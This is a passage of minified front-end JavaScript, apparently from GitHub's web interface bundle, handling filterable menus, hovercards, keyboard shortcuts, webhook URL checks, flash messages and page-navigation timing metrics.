i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof 